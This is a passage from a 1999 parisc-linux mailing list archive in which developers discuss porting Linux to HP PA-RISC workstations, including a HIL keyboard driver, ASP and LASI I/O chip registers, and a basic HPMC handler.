painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 04:03:39 -0500 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911100345000.11043-100000@vodka.thepuffingroup.com>
References: <19991110004745.T25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618612 27670 80.91.229.3 (22 Nov 2014 01:10:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Wed Nov 10 00:51:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA19485
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 00:51:55 -0700
Original-Received: (qmail 14558 invoked by uid 15267); 10 Nov 1999 07:53:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14551 invoked from network); 10 Nov 1999 07:53:21 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 07:53:21 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id EAA11172;
	Wed, 10 Nov 1999 04:03:39 -0500
In-Reply-To: <19991110004745.T25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6338


On Wed, 10 Nov 1999, Matthew Wilcox wrote:
> I've taken the hp300 HIL driver written by Phil Blundell and it `works'
> on my 715/33.  It's producing the wrong keycodes, it's doing work that an
> ASP driver ought to be doing and it's producing a fair bit of extraneous
> crap on the screen.  But I'm getting interrupts and keycodes so I'm
> happy for tonight :-)

Yay!

Having ASP interrupts working will enable a lot of different boxes to be
supported, mostly 715s.  I have a /50, /75 and probably /100 to test on.

The closest things we have to ASP docs are:
- take the portions of the Lasi docs that describe how Lasi is not like
ASP, and read backwards
- openbsd
- mklinux 

> The next obvious step is to have an ASP manager, like LASI.  In fact, so
> much like LASI, it probably ought to be in the same driver.  

My best guess is that Lasi is really ASP but integrated onto one cell with
a couple of bug fixes.  So yes, it really should be the same driver if at
all possible.  I had actually started on this but hadn't had time to get
it working. :)

> This seems to
> be how Mach does it, and there's a rumour this is also how HPUX does it.
> My question is: how?  Mach hardcodes the address of ASP to 0xf0800000,
> but there's nothing even close in the driver list.  I notice in the
> bootlogs which have previously been posted, LASI was at the address of
> `Core BA', but you can see that's wildly different on this machine.
> Should I invent my own and insert it into the structures we have?

Hrm.  That's uncomfortable. So did it actually work at 0xf0800000?

The problem comes when we hit an ASP that's not at 0xf0800000, which I'd
think might come up with ASP add on cards.

I don't think that firmware is lying, though.  Perhaps we just need to
subtract 0x2f000 for some reason.

> Here's the driver list printed at boot on the 715 (is someone collecting
> these somewhere?)

Within a week, I'll send some mail about The Puffin PA RISC Hardware
Guide. Details to come.

- Alex


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 04:07:54 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911100403530.11043-100000@vodka.thepuffingroup.com>
References: <19991110011409.A17550@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618613 27675 80.91.229.3 (22 Nov 2014 01:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:13 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: adevries@thepuffingroup.com  Wed Nov 10 00:56:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA19633
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 00:56:08 -0700
Original-Received: (qmail 15612 invoked by uid 15267); 10 Nov 1999 07:57:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15605 invoked from network); 10 Nov 1999 07:57:34 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 07:57:34 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id EAA11188;
	Wed, 10 Nov 1999 04:07:54 -0500
In-Reply-To: <19991110011409.A17550@mathe.stud.uni-erlangen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:6339

On Wed, 10 Nov 1999, Philipp Rumpf wrote:
> We do not know how the PS/2 keyboard (identical to AT keyboard I would hope)
> self-test procedure is.  We do know that we can send a command to the keyboard
> to cause it to start a self-test, and we do know that the Intel keyboard con-
> troller has a separate bit in the status register indicating that the keyboard
> self-test succeeded.
> 
> What we can do (and the Intel keyboard controller cannot) is to manually control
> and read the PS/2 data and clock lines, so I suspect we'll have to make use of
> this to successfully do a keyboard self-test.

For the time being we can just ignore this test.  I'm not entirely sure
that there's an easy way to actually test it.  Right now I coded it to
test the controller, but not the keyboard.

> If you know of any documentation describing what happens during an AT keyboard
> self-test, please tell us.

Note, this is NOT the 8042.  It has it's own test sequence that the PS/2
keyboard itself does not handle. The next person to point me to 8042 docs
will receive one (1) boot to the head.

- Alex


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 04:13:48 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911100408150.11043-100000@vodka.thepuffingroup.com>
References: <19991110015245.U25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618613 27677 80.91.229.3 (22 Nov 2014 01:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:13 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Wed Nov 10 01:02:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA19832
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 01:02:00 -0700
Original-Received: (qmail 16736 invoked by uid 15267); 10 Nov 1999 08:03:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16729 invoked from network); 10 Nov 1999 08:03:26 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 08:03:26 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id EAA11206;
	Wed, 10 Nov 1999 04:13:48 -0500
In-Reply-To: <19991110015245.U25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6340


On Wed, 10 Nov 1999, Matthew Wilcox wrote:
> Ummmm.. how exactly were you intending on going about this?  In lasi.c,
> in lasi_init_chip(), round the address down to the nearest megabyte?
> (possibly with a check on the type of `lasi' we found?)

We should probably have asp_init_chip() which gets triggered only for ASP
components.  Then you can adjust thhpa and go on with initialization.

- Alex


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 11:10:49 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <19991110111049.V25252@mencheca.ch.genedata.com>
References: <19991110004745.T25252@mencheca.ch.genedata.com> <Pine.LNX.4.10.9911100345000.11043-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618613 27680 80.91.229.3 (22 Nov 2014 01:10:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:13 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Nov 10 03:07:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA20264
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 03:07:56 -0700
Original-Received: (qmail 6100 invoked by uid 15267); 10 Nov 1999 10:09:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6090 invoked from network); 10 Nov 1999 10:09:21 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 10:09:21 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAAA9JE29769;
	Wed, 10 Nov 1999 11:09:19 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAAA9Ix29851;
	Wed, 10 Nov 1999 11:09:19 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id LAA884877;
	Wed, 10 Nov 1999 11:09:18 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11lUiH-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Matthew.Wilcox@genedata.com; Wed, 10 Nov 1999 11:10:49 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9911100345000.11043-100000@vodka.thepuffingroup.com>; from Alex deVries on Wed, Nov 10, 1999 at 04:03:39AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6341

On Wed, Nov 10, 1999 at 04:03:39AM -0500, Alex deVries wrote:
> 
> Having ASP interrupts working will enable a lot of different boxes to be
> supported, mostly 715s.  I have a /50, /75 and probably /100 to test on.

The /50 and /75 are also Scorpio machines.  The /100 is either a Mirage or
a Turnip.  As such, I don't know if it has ASP.

> The closest things we have to ASP docs are:
> - take the portions of the Lasi docs that describe how Lasi is not like
> ASP, and read backwards

umm.. 4MB download this evening then...

> Hrm.  That's uncomfortable. So did it actually work at 0xf0800000?

Yep.

> The problem comes when we hit an ASP that's not at 0xf0800000, which I'd
> think might come up with ASP add on cards.

Do ASP add-in cards exist?  We could just refuse to support them until
we know more :-)

> I don't think that firmware is lying, though.  Perhaps we just need to
> subtract 0x2f000 for some reason.

Found out what this is in the mach sources.  It's called CORE_ASP:

/*
 * Structures defining memory-mapped registers in the Core IOSS (ASP).
 */
        vu_char reset;          /* (WO) IOSS reset */
        vu_char version;        /* (RO) version byte */
        vu_char scsi_dsync;     /* (WO) SCSI DSYNC enable bit (1:enable) */
        vu_char error;          /* bus errors while ASP masters SGC/VSC */
        vu_char lan_oen;        /* (WO) output enable Ethernet/FDDI */

Shortly below this is:

/*
 * Structures defining memory-mapped registers in the Core IOSS (LASI).
 */
struct core_lasi {
        vu_int  power;
        vu_int  error;
        vu_int  version;
        vu_int  reset;
        vu_int  arbmask;
};

which is defined to be at 0xF010C000.

> > Here's the driver list printed at boot on the 715 (is someone collecting
> > these somewhere?)
> 
> Within a week, I'll send some mail about The Puffin PA RISC Hardware
> Guide. Details to come.

Oh good.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status (fwd)
Date: Wed, 10 Nov 1999 07:24:00 -0800 (PST)
Lines: 74
Approved: news@gmane.org
Message-ID: <199911101524.HAA02309@meow.sr.hp.com>
Reply-To: bkatz@agilent.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618614 27683 80.91.229.3 (22 Nov 2014 01:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Nov 10 08:22:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA21240
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 08:22:36 -0700
Original-Received: (qmail 20166 invoked by uid 15267); 10 Nov 1999 15:24:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20159 invoked from network); 10 Nov 1999 15:24:02 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 15:24:02 -0000
Original-Received: from postal.sr.hp.com (postal.sr.hp.com [15.4.46.173])
	by palrel1.hp.com (Postfix) with ESMTP id E7ECB11F
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 07:24:01 -0800 (PST)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id HAA26432 for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 07:24:09 -0800 (PST)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id HAA02309 for parisc-linux@thepuffingroup.com; Wed, 10 Nov 1999 07:24:00 -0800 (PST)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:6342

|On Wed, Nov 10, 1999 at 04:03:39AM -0500, Alex deVries wrote:
|> 
|> Having ASP interrupts working will enable a lot of different boxes to be
|> supported, mostly 715s.  I have a /50, /75 and probably /100 to test on.
|
|The /50 and /75 are also Scorpio machines.  The /100 is either a Mirage or
|a Turnip.  As such, I don't know if it has ASP.

/100 is a LASI machine, like 80 and 64.  They are the original 3 mirages.
Turnip is a mirage with bigger caches, shouldn't affect driver stuff.


|> The closest things we have to ASP docs are:
|> - take the portions of the Lasi docs that describe how Lasi is not like
|> ASP, and read backwards
|
|umm.. 4MB download this evening then...
|
|> Hrm.  That's uncomfortable. So did it actually work at 0xf0800000?
|
|Yep.
|
|> The problem comes when we hit an ASP that's not at 0xf0800000, which I'd
|> think might come up with ASP add on cards.
|
|Do ASP add-in cards exist?  We could just refuse to support them until
|we know more :-)

I've never heard of one, and I've also never heard of a slot that might
support one.  SO, with 99.9% confidence, no they don't exist.

|
|> I don't think that firmware is lying, though.  Perhaps we just need to
|> subtract 0x2f000 for some reason.
|
|Found out what this is in the mach sources.  It's called CORE_ASP:
|
|/*
| * Structures defining memory-mapped registers in the Core IOSS (ASP).
| */
|        vu_char reset;          /* (WO) IOSS reset */
|        vu_char version;        /* (RO) version byte */
|        vu_char scsi_dsync;     /* (WO) SCSI DSYNC enable bit (1:enable) */
|        vu_char error;          /* bus errors while ASP masters SGC/VSC */
|        vu_char lan_oen;        /* (WO) output enable Ethernet/FDDI */
|
|Shortly below this is:
|
|/*
| * Structures defining memory-mapped registers in the Core IOSS (LASI).
| */
|struct core_lasi {
|        vu_int  power;
|        vu_int  error;
|        vu_int  version;
|        vu_int  reset;
|        vu_int  arbmask;
|};
|
|which is defined to be at 0xF010C000.
|
|> > Here's the driver list printed at boot on the 715 (is someone collecting
|> > these somewhere?)
|> 
|> Within a week, I'll send some mail about The Puffin PA RISC Hardware
|> Guide. Details to come.
|
|Oh good.

If you have specific Scorpio/ASP questions, mail them to me, and I'll 
look them up in the docs.

	-Bill


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL status
Date: Wed, 10 Nov 1999 13:02:19 -0800
Lines: 109
Approved: news@gmane.org
Message-ID: <199911102102.NAA18050@milano.cup.hp.com>
References: <19991110111049.V25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618614 27690 80.91.229.3 (22 Nov 2014 01:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Nov 10 13:59:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA22211
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 13:59:43 -0700
Original-Received: (qmail 12108 invoked by uid 15267); 10 Nov 1999 21:01:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12101 invoked from network); 10 Nov 1999 21:01:10 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 21:01:10 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA13672
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 13:01:07 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA18050 for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 13:02:23 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
T: Matthew Wilcox <Matthew.Wilcox@genedata.com>
In-reply-to: Your message of "Wed, 10 Nov 1999 11:10:49 PST."
             <19991110111049.V25252@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6343

Matthew Wilcox wrote:
> On Wed, Nov 10, 1999 at 04:03:39AM -0500, Alex deVries wrote:
> > 
> > Having ASP interrupts working will enable a lot of different boxes to be
> > supported, mostly 715s.  I have a /50, /75 and probably /100 to test on.
> 
> The /50 and /75 are also Scorpio machines.  The /100 is either a Mirage or
> a Turnip.  As such, I don't know if it has ASP.

Turnip is the 715/100XC. Has 1MB I/D cache vs the 128KB or 256KB that
the regular 715/100. Alex is getting a 715/100 to test with and
he can then tell you if it has ASP or LASI ( I think the latter but don't
know for sure).

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar  3 18:25:12 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA01294
	for <pcj@merlin.pcj.primenet.com>; Wed, 3 Mar 1999 18:25:11 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 03 Mar 1999 18:25:11 PST
Received: from smtp04.primenet.com (daemon@smtp01.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id MAA23579
	for <pcj@smtp-local.primenet.com>; Wed, 3 Mar 1999 12:50:45 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id NAA21376
	for <pcj@primenet.com>; Wed, 3 Mar 1999 13:22:22 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd021336; Wed Mar  3 13:22:20 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id OAA24679;
	Wed, 3 Mar 1999 14:17:30 -0500
Resent-Date: Wed, 3 Mar 1999 14:17:30 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Wed, 3 Mar 1999 20:16:27 +0100 (CET)
From: Hugo van der Kooij <hvdkooij@caiw.nl>
X-Sender: hvdkooij@bastion.nl3155vj16.vanderkooij.org
To: HP PA-Risc Mailinglist <hppa-linux@thepuffingroup.com>
Message-ID: <Pine.LNX.4.04.9903032002230.16192-100000@bastion.nl3155vj16.vanderkooij.org>
X-URL: http://www.caiw.nl/~hvdkooij/
X-Loop: Hugo.van.der.Kooij@caiw.nl
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: [hppa-linux] New kid on the block
Resent-Message-ID: <"tWA0Z2.0.T16.9hOts"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/142
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: ba96ecb5c994b2d2e49fb8cbcba579fd
Lines: 45
Xref: merlin.pcj.primenet.com palinux:113

Hi,

I am a new kid on the HP block. I am running Linux on Alpha, Intel and
Sparc at present and have just gotten a used HP 9000 715/33 machine.

I noticed you are working on a native port and I can only applaud this.

Yet I have some remarks after studying the webpages on:
http://thepuffingroup.com/parisc/

 1.	The Title on the page does not make it clear we are talking about
	the HPPA/Linux Porting Project. As the tekst is: The Puffin Group
	Inc.

	I would suggest someone merges these two tekst so everyone can
	recognize the page in their bookmarks file.

 2.	There is a small note about a first bootloader but the bootloader
	itself is not noted anywhere I could find it.

	It would be nice if I could give it a try.

My hopes for the long term are on this project as the 715/33 is not
supported by MkLinux. I understand it will be a while before it will be
anywhere near Beta quality.

I can't help with programming. But I can help with testing and documenting
if needed.

Regards,
Hugo.

        +------------------------+------------------------------+
        | Hugo van der Kooij     | Hugo.van.der.Kooij@caiw.nl   |
        | Oranje Nassaustraat 16 | http://www.caiw.nl/~hvdkooij |
        | 3155 VJ  Maasland      | (De man met de rode hoed)    |
        +------------------------+------------------------------+
    "Computers let you make more mistakes faster than any other invention in
      human history, with the possible exception of handguns and tequila."
                (Mitch Radcliffe)

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Basic HPMC handler submitted.
Date: Wed, 10 Nov 1999 14:05:59 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <3829EC47.12A0BC04@hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618614 27698 80.91.229.3 (22 Nov 2014 01:10:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Wed Nov 10 15:04:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA22712
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 15:04:34 -0700
Original-Received: (qmail 8941 invoked by uid 15267); 10 Nov 1999 22:06:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8934 invoked from network); 10 Nov 1999 22:06:01 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 10 Nov 1999 22:06:01 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id 9CD68555
	for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 17:06:00 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id OAA07605 for <parisc-linux@thepuffingroup.com>; Wed, 10 Nov 1999 14:05:59 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6344

I have submitted a basic HPMC handler.  If an HPMC occurs, the message:

  >>  HPMC occurred  --  resetting system  <<

will be printed and the machine will be reset (except for the A180, which
wedges in the PDC call that is supposed to reset the system - power cycle
your A180).

Feel free to critique the code or fill in the gaps that I left...

The files modified are:

  arch/parisc/kernel/head.S
  arch/parisc/kernel/interruption.S
  include/asm-parisc/assembly.h
  include/asm-parisc/pdc.h


-Frank Rowand


From - Thu Nov 08 21:11:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ASP
Date: Thu, 11 Nov 1999 02:23:31 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <19991111022331.W25252@mencheca.ch.genedata.com>
References: <199911101524.HAA02309@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618615 27709 80.91.229.3 (22 Nov 2014 01:10:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:15 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bkatz@agilent.com
Original-X-From: Matthew.Wilcox@genedata.com  Wed Nov 10 18:23:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA23368
	for <parisc-linux@puffin.external.hp.com>; Wed, 10 Nov 1999 18:23:47 -0700
Original-Received: (qmail 12584 invoked by uid 15267); 11 Nov 1999 01:25:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12576 invoked from network); 11 Nov 1999 01:25:11 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 11 Nov 1999 01:25:11 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAB1Lv132651;
	Thu, 11 Nov 1999 02:21:57 +0100
